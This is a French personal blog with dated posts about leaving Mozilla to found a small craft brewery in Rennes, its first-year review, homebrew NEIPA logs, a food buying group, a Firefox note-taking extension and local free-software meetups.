Carnets en ligne

Ours

2019-07-03T00:00:00+02:00

J'ai de plus en plus de mal à garder mon calme dans les situations ou je rencontres des humains qui ont des comportements que je trouve déplacés. Je me demande à quel point le fait d'être maintenant un commerçant impacte ma capacité relationnelle générale.

De manière plus large, est-ce normal de tolérer des comportements qu'on estime anormaux, voire immoraux ? Quand est-ce que la tolérance laisse place a de l'acceptation de comportements problématiques ?

Suis-je en train de devenir un ours ?

Vélo

2019-06-27T00:00:00+02:00

Depuis quelques semaines j'ai décidé d'utiliser le vélo pour aller au boulot. Pas forcement tous les jours, mais dès que les conditions le permettent je n'hésite pas.

C'est un vrai plaisir de se déplacer en deux roues, en quasiment silence. Le trajet mets pas loin de 35mn et passe par un parc sur la fin, c'est un vrai moment de relaxation, et qui me permet de faire une jonction entre ma vie personnelle et le taf à la brasserie.

Un espace des communs Rennais ?

2019-06-26T00:00:00+02:00

Ce document se veut surtout être quelques notes, et donc revêt un caractère « fouilli » paaaarfaitement assumé. D’ailleurs, ce n'est que ce que j'ai bien voulu retenir. Voilà.

Je ressors d'une discussion avec quelques complices autour de deux idées : 1. Avoir un espace pour fédérer différentes personnes intéressées par le sujet des communs; 2. Monter une structure Rennaise pour proposer de l’hébergement de services web.

Élaborons un peu...

1. Un espace pour fédérer

L'idée qui à été développée est celle d'avoir un espace (un ou des lieux, à différents moments dans l'année) pour que les rencontres entre les projets du libre à Rennes puissent se dérouler. Le constat est qu'il existe différentes structures actuellement en place, mais que a) certaines personnes ne se retrouvent pas dans ces espaces et b) la porosité entre ces différents groupes est assez faible.

Pour l'instant pas d'idée précise de ce qui pourrait être proposé, mais quelques pistes ont été évoquées. l'envie est de faire un document d'intention et de proposer à d'autres de rejoindre le collectif en création.

Fréquence

Deux pistes ont été évoquées:

Faire des rencontres suffisamment espacées les unes des autres, pour que leur caractère « exceptionnel » soit une force. Si la fréquence des réunions est assez faible, alors l'incitation pour y prendre part est peut-être plus grande ?
ou au contraire, avoir des rencontres avec une fréquence assez forte, pour qu'en cas d'incapacité à participer il n'y ait pas trop longtemps à attendre ?

Charte éthique

Le fait d'avoir un code de conduite pour de tels évènements à été discuté, un des arguments évoqués étant le fait qu'un tel code n'est pas considéré nécessaire par certaines personnes, puisque les règles évoquées tiennent du bon sens.

Il a été précisé que l'établissement de ce type de document a pour objectif de: - Faire que des minorités et/ou oppressés se sentent protégés et considérés, et donc bienvenues à ce type d'évènements; - En cas de situations considérées comme problématiques, des personnes référentes soient désignées pour aider à leur résolution

Gouvernance

Le sujet de la gouvernance à été également abordé : pour avoir de tels rendez-vous, peu importe leur nature, il faut que ceux-cis soient organisés. La possibilité d'avoir des organisat·rices·eurs· tournantes à été proposé.

Pour :

Cela permet de ne pas reposer uniquement sur quelques personnes;
Faire des fiches explicatives qui permettent à tou·te·s de s'impliquer

Contre :

Quand tout le monde est responsable, personne ne l'est.

Peut-être que des solutions intermédiaires sont à trouver, en désignant d'une fois sur l'autre les personnes qui s’occupent du prochain rendez-vous, par exemple.

2. Hébergement de services Web

On a discuté très rapidement de la possibilité de monter une structure pour faire de l’hébergement de services web sur Rennes. Le sujet n'a pas été vraiment développé, mais la question de la relation entre avoir un espace pour fédérer (le 1.) et être un hébergeur de service (le 2.) a été rapidement abordé.

Faut-il avoir une seule et même structure / groupe de personnes pour ces deux projets ? Dans le cas ou l'un s'arrête, entraînerait-il l'autre dans sa « chute » ? Est-il logique de lier les deux ?

Et donc ?

Et donc c'était bien chouette de prendre un peu le temps de remettre le nez dans la vie libriste Rennaise ! Ravi de voir une dynamique prendre forme, on verra bien ou ça mène :-)

Brasserie - petit bilan, après un an d’existence

2019-05-21T00:00:00+02:00

La brasserie du Vieux Singe a un an !

On a l'impression que c'était hier tellement le temps passe vite, mais ça fait un an que notre brasserie existe !

Alors on lève un peu la tête du guidon question de voir ce qu'on a accompli durant cette première année, et de faire un petit bilan :-)

Quelques dates & chiffres

Pour se donner un peu de perspective, voici quelques dates clés de cette première année :

Novembre 2017 : immatriculation de l'entreprise
Décembre 2017 : on a les clés !
Décembre 2017 à Mars 2018 : travaux, installation et divers bricolages
Mars 2018 : premier brassin
Mai 2018 : premières ventes !
Août 2018 : vacances :-)
Septembre 2018 : inauguration de la brasserie & premier brassin unique
Décembre 2018 : second brassin unique
Mars 2019 : on se rémunère !

Au moment d’écrire ces lignes, à la mi Mai 2019, on en est à notre 43ème brassin, on a travaillé sur 4 nouvelles bières, on a dû laver pas loin de 300 fûts, ouverts 700 sacs de malt… et on vous a fait boire la tasse ;-)

Petit retour en arrière…

Travaux & installation

En arrivant dans nos locaux, on a d’abord dû réaliser quelques travaux d’aménagement : une grande partie de l'espace était utilisé en bureaux or on a surtout besoin de place dans la partie « prod ».

On a rajouté à notre local une tranchée pour l’évacuation des eaux usées, une chambre chaude pour la refermentation en bouteilles, ainsi que quelques gros points d’électricité et de plomberie (circuit de refroidissement des fermenteurs et plusieurs arrivées d’eau).

On a profité d’être sur une zone artisanale pour récupérer quelques palettes perdues chez nos voisins et les transformer en bar, tabourets et étagères, question de pouvoir vous accueillir de manière un peu sympathique !

Une fois les travaux d’aménagements terminés, on a reçu les cuves. Un moment très attendu (et un peu flippant, oui). On a d’abord reçu les fermenteurs, debout, qu’on a pu décharger au chariot élévateur, puis les cuves de brassage, la ligne d’embouteillage et enfin notre cuve de ressucrage et carbonatation. Cette dernière est arrivée couchée, on a donc du la relever à l’aide d’une grue. Vous voyez les gouttes de sueur perler sur nos fronts ?

Quasiment aucun problème pour décharger les fermenteurs, au final. Le plus difficile a été le déchargement de notre ligne d’embouteillage, assez lourde, pour laquelle on a eu quelques déconvenues. On a la chance d’avoir sur la zone une entreprise de levage très arrangeante qui nous a permis de décharger ça correctement, nous enlevant une belle épine du pied.

A peine les fermenteurs installés, on réceptionnait les cuves de brassage. Les Anglais de PBC sont venus sur place pour terminer l’installation et nous assister sur notre premier brassin sur cette nouvelle brasserie dont on est plutôt satisfaits. L'avantage de ce matériel c'est que c'est la 2CV du brasseur : tout est manuel et facile à démonter & remplacer en cas de soucis (ce qu'on a pas tardé à vérifier !)

Premiers brassins

Sur nos premiers brassins, on a décidé d’utiliser la brasserie à la moitié de sa capacité. Après tout, la moitié c'était déjà dix fois plus gros que ce qu'on avait l'habitude de faire jusqu'alors avec notre petite brasserie 100L.

On est donc partis sur des brassins de 800 litres. Les premiers brassins se sont vraiment bien déroulés : 7 heures de brassage & nettoyage pour 800L de moût.

Au moment de passer nos recettes à l'échelle, on a quand même fait quelques petits changements techniques, dont je vous passe les détails ici.

Et puis, au fur et à mesure de l’année, les recettes et procédés pour nos bières « permanentes » ont un peu bougé également (modification de l'eau de brassage, changement des temps & températures pour l'ajout du houblon lors du dry hopping)

Préventes, puis ventes

En parallèle du brassage, on faisait nos premières ventes avec notre système de préventes en ligne.

Le deal était assez simple : vous achetez les bières avant qu'elles ne soit brassées, et vous passez les chercher à la brasserie une fois prêtes.

Double avantage pour nous : une avance de trésorerie non négligeable (on a vendu nos trois premiers brassins en vente directe !) et la possibilité de faire visiter la brasserie quand les gens passent chercher leurs bières : un bon moyen de se rencontrer.

Notre retour sur ces préventes est vraiment positif.

Une fois les premiers brassins terminés, et les préventes écoulées, il fallait commencer à mettre en place un circuit de distribution pour les gens qui ne viennent pas nous voir à la brasserie.

Et là, le double effet kiss-cool de notre campagne de préventes : le bouche-à-oreilles a fait que des clients nous ont appelé directement avec l'envie de travailler avec nous ! Résultat : on se retrouve aujourd'hui avec un maillage de petits et moyens clients qui nous commandent de la bière plus ou moins régulièrement.

On est hyper contents de travailler avec autant de clients atypiques qui font vivre un monde qui nous parle : plusieurs cafés associatifs, des festivals engagés, des magasins de producteurs, des épiceries associatives, des groupements d’achats. On n'aurait vraiment pas rêvé mieux !

On a également trois petites tireuses et des gobelets, qui nous permettent de vendre des fûts à des particuliers et associations pour des petits évènements.

En plus de ces ventes directes, on a fait le choix de passer par des petits distributeurs pour que notre bière se retrouve à des endroits où on ne va pas livrer (la Bretagne en dehors de l'Ille-et-Vilaine par ex).

On s'est également mis à travailler avec un transporteur pour faire des envois.

Organisation du temps

Autant pour fabriquer de la bière on avait un peu d’expérience, autant pour faire tourner une entreprise on avait tout à découvrir !

On passe beaucoup de temps à faire les taches administratives (téléphone, ordinateur) qu’on n'avait pas imaginées à l’origine. Ça représente environ la moitié de notre temps de travail !

Au final, on ne travaille tous les deux ensemble qu'assez rarement : on alterne sur la production (brassage, mise en bouteilles, mise en fûts, et surtout nettoyage !) d’une semaine sur l’autre ; et quand on n'est pas « de prod », on s’est réparti les tâches administratives : Fred s’occupe de la partie comptabilité et des fournisseurs ; Alexis des ventes, de la communication et de la gestion du stock.

En pratique ça fonctionne plutôt bien, on se fait un (indispensable !) point de synchronisation tous les lundi matin, pour lequel il faut compter au moins 3h.

Le problème, c’est qu’on reste un peu la tête dans le guidon. On essaie bien de prendre du recul, mais le boulot, lui, n’attend pas !

Et c’est là que les vacances prennent tout leur sens. Une des forces d’être à Rennes c’est qu’au mois d’Août, il ne se passe absolument rien. Le pied ! Allez hop, en vacances !

La place de l’expérimentation

Pour nous, faire de la bière est aussi un moyen d’expérimenter. Expérimentations qui parfois débouchent sur des brassins uniques, quand on trouve que ça vaut le coup (ou quand on teste direct en gros !)

Et quand on passe des tests à l’échelle, (de 20L à 1500L), on est moyennement rassurés !

Après quelques brassins validés, on est un peu plus relax sur le sujet, et on a mis en place de quoi faire des expérimentations à petite échelle de manière simple : vu qu'on produit du moût toutes les semaines, on en utilise une partie pour faire quelques tests : changement de levure, adjonctions, changement des températures de fermentation, etc.

Ah ça, c’est pas les idées qui nous manquent :-) Et c'est une super manière d'expérimenter.

Ouverture au public, évènements et équilibre

On a pris le parti d'ouvrir le magasin toutes les fins de semaine (le jeudi et vendredi de 17h à 19h) et on est hyper contents de faire visiter la brasserie aux personnes qui passent de temps à autre. Pour nous, ça fait partie des plaisirs du métier. Par contre, on avait clairement sous estimé le temps que ça nous prendrait. On accueille beaucoup et les gens sont curieux. La fabrication de bière reste encore aujourd’hui quelque chose de nouveau pour la plupart, et il faut satisfaire cette curiosité (il faut plus de brasseries !).

Ce qui se passe en ce moment sur la scène brassicole est génial : beaucoup de nouvelles brasseries proposent des produits exceptionnels, et les évènements se multiplient aux quatre coins de la France. On adore partager, goûter, discuter, mais on ne pensait pas être autant sollicités par des évènements extérieurs, souvent sur des week-end, et parfois loin. On souhaite garder un équilibre entre notre vie personnelle et notre vie professionnelle. Aller aux évènements aussi par plaisir. Être partout est probablement un des maux de notre temps ;-) À force de voir des brasseurs exténués, il y a de quoi se poser des questions sur la pérennité sur le long terme d’un rythme aussi effréné.

Notre choix, c’est celui d’être fiers de nos bières, mais également celui de créer un outil pour nos vies (la brasserie) qui leur rende service. Penser son travail de cette manière nous permet de garder les pieds sur terre.

Bref…

…Voilà pour le petit tour d'horizon de cette année écoulée. Plein de super choses dans les mois à venir, on vous donne des nouvelles très bientôt !

De Mozilla à la Brasserie du Vieux Singe

2018-05-27T00:00:00+02:00

Ce weekend avait lieu SudWeb « la conférence Web surtout humaine », ou on m'a proposé de venir parler de ma reconversion professionnelle, ou comment un passionné de Logiciels Libres choisit de créer une petite brasserie artisanale.

Certaines parties de ce que je voulais transmettre sont passées à la trappe, alors que d'autres ont pris plus de place que prévu. J'avais donc envie de reprendre mes notes pour les transformer en billet de blog, question d'élaborer sur le sujet.

J'ai toujours été motivé par mes passions. Quand j'ai commencé à travailler professionnellement, je me suis rendu compte que même si je faisais quasiment la même chose qu'auparavant, ça n'avait plus le même goût. J'étais maintenant obligé de le faire, et je n'en tirais pas le même plaisir.

Quand j'étais plus jeune au lycée j'écrivais des programmes en Visual Basic que je partageais en ligne sur mon site en .free.fr. Programmes que probablement personne n'a lu, mais l'intention était bel et bien celle de partager mes créations, et d'échanger à leur propos.

Cette culture du partage — celle du logiciel libre — est celle qui m'anime.

Quelques années plus tard, je découvre le langage de programmation Python, et avec lui toute une communauté, mue par ces mêmes valeurs de partage et d'amélioration de nos pratiques. Puis je rencontre le Logiciel Libre, avec l'écriture d'un programme (pelican) qui reste encore largement utilisé aujourd'hui. Autant dire que c'est une bonne claque que de voir des inconnus contribuer à un bout de code qu'eux aussi jugent utile.

À la fin de mes études, alors que je reste passionné par le développement logiciel, je ne veux ni travailler pour l'industrie, ni pour la finance. Je songe même déjà à cette époque à changer de métier (avant même d'avoir commencé !). Coup de bol, une structure qui m'est chère cherche des développeurs Python: Mozilla. Sans trop y croire, je passe une série d'entretiens qui se déroulent bien (!) et je commence quelques mois plus tard à travailler pour cette organisation incroyable, porteuse d'espoir et de toute une symbolique pour moi.

Je bosse sur du Logiciel Libre, en Python, en télétravail parfois, avec une bonne paie, sans parler du côté prestigieux. Grisant.

Mais au fur et à mesure je découvre l'envers du décors: une méritocratie ancrée et assumée, une hiérarchie de plus en plus importante, menant à une lourdeur administrative assez présente. À ajouter à la barrière de la langue, et aux différences culturelles. Finalement tout n'est pas rose ici.

Je décide alors de (je pense) faire un de mes meilleurs choix de vie à ce jour: passer aux 4/5èmes. Je récupère tous mes vendredis. Des weekends de 3 jours, toutes les semaines. Un espace précieux pour me reposer, et pour rêver un peu.

C'est à ce moment que Fred, un ami de longue date, en revenant du Québec (ou les brasseries sont légion), me propose de faire de la bière avec lui. Moi qui ne savais même pas qu'il était possible de faire de la bière. On tente donc l'expérience, et nos premières expériences sont des journées bien funky, à faire toutes les erreurs possibles.

Peu à peu, on découvre un nouveau monde: celui des brasseurs amateurs. De nouvelles compétences sont nécessaires, de la physique à la biochimie. On se met à rencontrer des professionnels, des passionnés, à échanger sur les forums. On se forme, petit à petit. Tout comme il y a la communauté des gens qui font du Python, il y a la communauté des gens qui font de la bière. Pas encore autant fédérés, ça semble balbutiant alors mais la passion elle est bien présente.

Tout comme le monde du Logiciel Libre est constitué autour d'un ennemi commun (les GAFA), le monde de la bière artisanale à la sien: les brasseries industrielles, qui uniformisent les goûts et les processus.

Je continue en parallèle mon travail chez Mozilla, pendant 4 années. Et puis un jour, une annonce d'arrêt d'un projet sur lequel je travaillais me fait réaliser que cette situation m'épuise. La fameuse goutte de trop.

Je décide alors de partir, de faire une pause, sans trop savoir ce que l'avenir me réserve. Une petite période de blanc de deux mois. Le regard des autres est parfois culpabilisant. Mes parents me demandent si « je ne veux pas attendre encore un peu ». La transition me fait peur, mais je choisis quand même de troquer mon confort matériel pour de la cohérence.

Petit à petit, l'idée de monter ce qui est maintenant devenu La Brasserie du Vieux Singe se pose en évidence. Mais monter une brasserie ce n'est pas uniquement faire de la bière: c'est se mettre d'accord sur des valeurs, trouver comment les défendre, monter un projet pour, et tenir le cap.

Quelques mois après mon départ, on se retrouve donc à parler de ces valeurs de partage, de documentation, de goût. De gouvernance et de collaboration aussi. Dans nos pratiques courantes, on décide d'intégrer du temps pour documenter la vie de la brasserie.

À titre d'exemple, nos étiquettes contiennent l'ensemble des ingrédients que l'on utilise de la manière la plus détaillée possible. On travaille aussi sur un projet de laveuse de fûts, qui sera publié sous licence libre, avec l'idée de pouvoir, petit à petit, constituer un ensemble d'outils utiles à tous les brasseurs, et peut être même réussir à favoriser les échanges entre toutes ces personnes.

Nous sommes deux brasseurs, deux chefs d'entreprise, mais aussi deux développeurs. Nos compétences de développeurs nous sont utiles quotidiennement: pour notre laveuse de fûts, pour nos créations de recettes (j'ai découvert la puissance des tableurs !), pour notre site de préventes, notre site Web, nos outils du quotidien. On se rend compte qu'il s'agit de compétences précieuses.

Mais monter une entreprise, c'est aussi assumer une partie administrative. Vous vous rappelez cette histoire de réactions face aux activités subordonnées ? Et bien quand je fais mes déclarations aux douanes, ce n'est pas de gaîté de cœur. Je sais par contre pourquoi je le fais: ce sont les règles du jeu. Des obligations, mais peut-être moins de coercition. J'y trouve plus de sens.

Et, si je n'avais pas réduit mon temps de travail, j'aurais peut-être loupé la découverte de ce nouveau monde, celui qui me passionne aujourd'hui.

Alors je vous invite à vous poser la question — indispensable — de vos valeurs: qu'est-ce que vous souhaitez faire ? Qu'est-ce qui vous anime ? Et peut-être à aménager du temps pour explorer vos envies.

Groupement d'achats & partage d'expérience

2018-03-03T00:00:00+01:00

Il y a quelques années, on s'est motivé entre copains copines pour créer un groupement d'achat.

L'idée est simple:

commander en gros, pour faire baisser les prix
se passer d'intermédiaires et favoriser les circuits courts
aller à la rencontre des producteurs locaux et échanger

Notre groupement dessert actuellement 18 foyers et une 60aine de personnes.

Au fur et à mesure de la vie du groupement, on a développé quelques outils pour se simplifier la vie. Voici un retour d'expérience et quelques astuces / outils, au cas où l'envie vous prenne à vous aussi :)

Organisation

On organise environs trois ou quatre distributions par an. Le modus operandi est le suivant:

chaque product·eur·rice à un·e référent·e, qui s'occupe de faire le lien;
une personne est désignée pour coordonner la distribution;
4 semaines avant la distribution, les référent·e·s mettent à jour les prix / produits dans le tableau de commandes;·e·
3 semaines avant la distribution, les commandes sont ouvertes;
2 semaines avant la distribution, les commandes sont closes;
Les référent·e·s ont ensuite deux semaines pour récupérer les commandes pour la distribution

Quels produits ?

On essaye d'avoir uniquement des produits qui se conservent (on a également quelques autres produits plus frais, mais avec d'autres modalités).

Entre autres: bières, légumes secs, conserves, jus, miel, pâtes, semoule, café, vinaigres, pommes de terre, oignons, huiles, farines.

On essaye de faire du local puis du bio au plus proche plutôt que de trouver nécessairement les prix les plus bas. C'est une discussion qui revient assez souvent, et donc un point à évoquer lors de la création pour avoir une posture claire sur le sujet (tout le monde n'est pas animé par la même éthique !).

Paiements

Pour les paiements, on utilise autant que possible des chèques. Chaque référent·e paye la·le product·rice·eur en son nom, et lui demande d'attendre la date de la distribution pour l'encaissement. La plupart des producteurs acceptent d'être payés sous quinzaine.

Le jour de la distribution, tout le monde apporte son chéquier. Nous avons mis en place une moulinette qui s'occupe de faire la répartition des chèques automatiquement, chaque membre se retrouve à faire en moyenne un ou deux chèques.

Chaque référent·e est ainsi remboursé·e de la somme avancée, et chaque membre du groupement d'achat paye ce qu'il doit payer. Nous n'avons volontairement pas de structure juridique et pas de compte en banque. Les paiements s'effectuent directement entre nous.

Transports

Chaque référent·e commande les produits, puis ensuite s'occupe de les rapatrier. À Rennes, on a la chance d'avoir pas mal de producteurs aux alentours, donc c'est assez simple.

Le mieux est de ramener les produits juste un peu avant la distribution au lieu de distribution, ça permet d'éviter de les stocker trop longtemps, et d'éviter aux producteurs d'attendre trop longtemps avant d'encaisser les chèques.

Pour les grosses commandes, les voitures se remplissent bien, mais ma petite Clio suffit, que ce soit dit !

La distribution

Un peu en amont de la distribution, il faut organiser l'espace. Des tas par membre sont constitués pour faciliter les choses le jour de la distribution.

Le jour même, on se retrouve, on charge ses marchandises, on échange quelques chèques et on papote ! On en profite pour:

discuter de la date de la prochaine distribution;
trouver une nouvelle personne pour la coordonner;
discuter de nouveaux produits;
refaire le monde;
changer de référents pour les producteurs.

Et c'est reparti pour un tour ;)

Nos outils

On utilise un tableur en ligne pour partager les prix et prendre les commandes. On a essayé d'utiliser ethercalc au début mais ça ne fonctionnait pas pour nous à l'époque (trop de petits bugs). On a donc préféré utiliser Google docs (ouch).

Il est d'ailleurs possible d'y intégrer de nouvelles fonctionnalités assez facilement, du coup Fred et Rémy ont planché sur un moyen d'automatiser la répartition des chèques (qu'on faisait dans un premier temps à la main - assez péniblement).

Le système n'est pas parfait mais fonctionne quand même assez bien !

Quelques ressources, donc:

le code pour faire la répartition des chèques
une version « à remplir » de notre tableau de commandes (le mieux est d'en faire une copie !).

Bon groupement d'achat ;)

Webnotes

2018-02-25T00:00:00+01:00

Quand je navigue en ligne, j'aime bien prendre des notes sur ce que je lis. C'est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j'ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais, de la manière que je voulais, c'est à dire:

enregistrer une sélection de texte ainsi que son contexte: heure, site web.
fonctionner sur Firefox;
stocker mes notes à un endroit que je contrôle (ce sont mes données, après tout !)
rester en dehors de mon chemin: je suis en train de lire, pas en train d'organiser mes notes.
automatiquement partager les notes sur une page web.

J'ai donc pris un peu de temps pour fabriquer mon outil de prises de notes, que j'ai baptisé « Webnotes ». C'est une extension Firefox, qui se configure assez simplement, et qui stocke les données dans une instance de Kinto.

C'est aussi simple que sélectionner du texte, faire « clic droit » puis « save as webnote », entrer un tag et le tour est joué !

Mes notes sont disponibles sur notes.notmyidea.org, et voici le lien vers les sources, si ça vous intéresse de regarder comment ça fonctionne !

Faire moins

2018-02-19T00:00:00+01:00

L'an dernier, j'ai décidé de faire moins de choses, ou plus exactement d'arrêter de faire de nouvelles choses. Choix assez difficile: j'aime découvrir de nouvelles pratiques, échanger sur des sujets que je connais pas, et surtout je crois que découvrir de nouvelles pratiques (sans nécessairement creuser un sujet en particulier) est l'occasion de contribuer à éviter notre société d'experts.

Le hic, c'est que trop, c'est trop. J'ai donc décidé d'arrêter, tout simplement, de faire de nouvelles choses, et puis avec le temps j'ai même arreté de faire des choses que j'avais commencé à faire (par exemple de l'escalade), me libérant du temps.

Enfin ! Je retrouve ce précieux temps. Je retrouve ces moments d'ennui. Oui, je comprends bien que ça puisse parraître fou de voir quelqu'un se réjouir de son ennui… Cet ennui me permet de creuser de nouvelles idées, de reprendre ce bouquin qu'on avait laissé tomber sans trop de raison.

Et surtout, c'est se retrouver à contrôler son engagement.

NEIPA #3

2017-12-29T00:00:00+01:00

Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.

Test autour d'une New England Pale Ale; Cette fois ci avec du Mosaic et du Citra, durant une collab' avec Heiko.

Objectifs:

Brasser une nouvelle NEIPA en appliquant les trouvailles des deux premières versions;
Hop stand de 40mn;
Contrôle du pH à 5.2;
Refroidissement dans l'évier;
Ajouter plus d'avoine;
Faire un mash out;
Augmenter un peu la quantité de grain.

Recette:

DI: 1055 (atteint) pH: 5.2 (5.4 mesuré)

Grains:

75% de Pale Ale
12.5% de blé
12.5% flocons d'avoine

Houblons:

2g/L Mosaic (Hop Stand 40mn)
2g/L Citra (Hop Stand 40mn)
4g/L Citra à cru (en deux fois)
4g/L Mosaic à cru (en deux fois)

Eau:

Utilisation d'eau de source, pour pouvoir corriger les sulfates / chlorures.
200 Chlorures pour 100 Sulfates.
Gypse: 1g

1.8g (=4.05ml)
Acide lactique: 0.4ml

Profil d'empatage:

68°C durant 40mn;
75°C durant 10mn (mash-out)

Levure

GigaYeast «Vermont Ale». Le nombre de cellules n'est pas indiqué sur le packaging, ni en ligne.

Déroulé

12h50: empâtage à 68°C
pH = 5.5. Ajout de 0.2 d'acide.
Pas mal de mesures du pH:
- 5.2@23°C (13h05)
- 5.4@18°C (13h05)
- 5.2@27°C (13h15)
- 5.3@19°C (13h20)
- 5.4@25°C (13h30)
13h33: Mash-out à 78°C durant 10mn
Test à l'iode: OK
14h11: 1er rincage. Densité premier mout: 1070
15h40: Hop Stand (15g Citra / 15g Mosaic)

Fermentation

31/12/2017 - Fermentation à 20°C
01/01/2018 - Ajout de 12g de Citra et 12g de Mosaic après deux jours.
10/01/2018 - 1.040 SG = 1.008 corrigé
15/01/2018 - Ajout de 12g de Citra et 12g de Mosaic
15/01/2018 - Cold Crash
21/01/2018 - Mise en bouteille. Resucrage à 7g/L.

Observations:

En mettant 1.5ml d'acide, si on mesure le pH de l'eau, il est à 3.5. Ça nous à pas mal effrayé, puisque on a pas trop l'habitude de monitorer le pH. On refait: 0.4ml d'acide = pH de 4.1. Au final, cela ne semble pas utile de mesurer le pH de l'eau avant de mettre son grain.
Je le savais déjà, mais travailler à deux en discutant n'est pas vraiment une bonne idée: sur les opérations un peu technique, un manque de concentration se fait tout de suite ressentir.
BeerSmith semble proposer un outil pour calculer les modifications de pH, je devrais l'utiliser la prochaine fois.
Baisser le ration d'empâtage: On s'est retrouvé avec beaucoup trop d'eau de rincage, alors qu'on était sur une bière assez faible en densité.
Au final, ajouter l'acide au départ est problématique pour le pH de l'eau qui baisse énormement. Après quelques recherches, il semble qu'il faille faire confiance au logiciel, et prendre une seule mesure de pH à 10mn (cela devrait être stable). Le pHmetre est aussi peut-être en cause.
D'une manière générale, j'ai l'impression d'être un peu à l'arrache sur la partie fermentation. Il faudrait vraiment que j'ai un plan et que je m'y tienne. Plusieurs questions me semblent encore à résoudre: combien de temps laisser le houblon à cru ? A quelle température ?

NEIPA #2

2017-12-18T00:00:00+01:00

Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.

Objectifs

Corriger les erreurs du précédent brassin.
Éviter les soucis de filtration
Mieux corriger le pH
Faire un whirlpool digne de ce nom / avoir moins de trub dans le fermenteur
Ne pas se laisser avoir par la baisse de température durant l'empâtage.

Recette

DI: 1060 (1050 mesuré) pH: 5.2 (atteint)

Grains

90% Pils
10% Flocons d'avoine

Houblons

2g/L Wakatu (au Whirlpool)
2g/L Motueka (au Whirlpool)
4.5g/L Wakatu à cru (en deux fois)
2.5g/L Motueka à cru (en deux fois)

Eau

Utilisation d'eau de source, pour pouvoir corriger les sulfates / chlorures.
200 Chlorures pour 100 Sulfates.
Gypse: 0.9g
CaCl2: 3.4g
Acide lactique: Au batch précédent, j'avais mesuré 5.6, donc: ajout de +2ml d'acide (=2.4g).
Utilisation d'Irish Moss (2g) pour coaguler les protéines.

Profil d'empatage

65°C durant 90mn (68°C au départ, 65 visé)
78°C durant 10mn (mash-out)

Levure

London Ale III.

Déroulé

18h36 - empatage à 65°C
19h16- pH = 5.2
Densité 1er moût: 1070
Ébullition importante pour atteindre 6,2L avec la bonne densité.
Mash-out à 78°C durant 10mn
Test à l'iode: NOK
1er rincage. Densité premier mout: 1070
15h40: Hop Stand (15g Citra / 15g Mosaic)

Fermentation

18/12/2017 - Fermentation à 18°C
21/12/2017 - Ajout de 13.5g de Wakatu et 7.5g de Motueka
30/12/2017 - Ajout de 13.5g de Wakatu et 7.5g de Motueka
30/12/2017 - Passage à 10°C.
15/01/2018 - Cold Crash
21/01/2018 - Mise en bouteille. Resucrage à 7g/L.

Observations:

Je change de technique, et mets l'acide lactique directement dans l'eau.
Je concasse moins fin mais reteste quand même l'avoine. Aucun souci de filtration (mais l'avoine n'est pas concassé).
1g de CaCl2 ~= 2.25ml en solution à 33%.
Les deux thermomètres n'affichent pas la même température. Super :(.
Au final, j’empâte dans une casserole pour pouvoir faire un mash-out.
Le pH oscille pas mal durant l'empâtage. J'ai mesuré des pH de 4.9 à certains moments, mais au final la dernière lecture est de 5.2, ce qui me semble bon.
Le système que j'utilise (refroidisseur en cuivre) pour refroidir mon moût n'est pas génial parce que ça mélange pas mal ce qu'on veut voir se déposer au fond de la cuve. Refroidir directement dans l'évier est vachement plus simple (c'est pratique de faire du 6L pour çà !)
Le teste à l'iode était positif: tout n'était pas converti. Mais à 90mn de mash, je ne crois pas pouvoir faire grand chose de plus.
Idée en vrac, à voir à la dégustation, mais ajouter un peu de cara pourrait être sympa.
L'irish moss à vraiment bien fonctionné. Je me demande si je ne devrais pas même laisser décanter un peu plus longtemps durant le whirlpool pour avoir un effet encore plus impressionnant.
Je trouve que l'efficacité de cette brasserie est vraiment pourrie.
Un peu d'eau est venue diluer le moût (DI = 1050 au lieu de 1060 souhaité)
Au goût, le moût à vraiment un goût qui m'assèche la gorge. Trop de modifications de l'eau ? A voir si l'effet persiste après fermentation.
A priori, d'après un article de Scott Janish, empâter avec de l'avoine cru ne fonctionne que si on empate haut. Ca à un impact sur l'efficacité générale (2h pour conversion totale, c'est peut-être pour ça que mon teste à l'iode était positif)
Sur l'avoine toujours, il faut dépasser 18% pour avoir un côté moelleux. Certains mettent jusqu'à 40% !

Un club des brasseurs amateurs Rennais

2017-11-06T00:00:00+01:00

En Mars dernier, suite à quelques discussions entre brasseurs amateurs, on à décidé de monter une liste de diffusion pour faciliter les échanges autour du brassage amateur sur Rennes et ses alentours.

Un peu plus tard, un groupe Facebook est venu s'ajouter, et c'est vrai qu'on sent une dynamique naissante autour de la brasserie artisanale dans le coin.

En six mois, on est maintenant une grosse trentaine de personnes à être inscrits sur les listes et à se retrouver de temps à autres.

On en profite pour s'échanger des bons plans, déguster nos créations, (essayer de) faire des commandes groupées de malt, et pour se rencontrer pour papoter entre passionnés.

On a pas mal d'idées de trucs sympa a faire, entre autres:

brasser une fois en gros puis se séparer le batch en plein de petits fermenteurs pour essayer différentes levures, différents houblons en dry hop, etc.
A la dernière rencontre, on s'est mis d'accord sur un style de bière pour se lancer un petit défi: tous brasser une NEIPA pour ensuite comparer nos résultats.

Bref, c'est plutôt chouette ! Je me suis rendu compte qu'on avait quasiment aucune existence en dehors des réseaux sociaux, alors je me permet de publier ce petit bout d'article avec quelques liens…

Si tu es dans le coin et que tu souhaite nous rencontrer, n'hésite pas à rejoindre notre groupe de discussion Facebook et notre liste de diffusion mail.

A bientôt ;)

L'arrivée du trouble (ou comment faire des NEIPA ?)

2017-10-17T00:00:00+02:00

Ceci est une traduction d'un article paru dans le magazine « Brew Your Own » en Octobre 2016, écrit par Dave Green

C'est la saison des élections aux états unis et la bataille entre les partis politiques semble être plus controversée que d'habitude. Coincidemment, les buveurs de bières « Craft» US semblent avoir leur propre bataille qui divise au moins autant: une IPA peut elle être aussi trouble qu'une hefeweizen ? En provenance du coin Nord Est des États-Unis, l'IPA trouble est en passe de devenir culte depuis quelques années. Mais la mode ne vient pas sans contrecoup. En fait, tout le monde y va de son opinion chez les brasseurs artisanaux. Pour ceux qui apprécient ce type d'IPA, l'apparence trouble signifie que les gorgées qui suivent seront extrèmenent riches en huiles de houblons; pour les autres, l'apparence est un affront à des principes ancestraux. Que vous les appeliez des rince-bouches, des soupes boueuses, brillantes ou horribles, ne vous faites pas de fausse idée: ces ales troubles sont là pour rester.

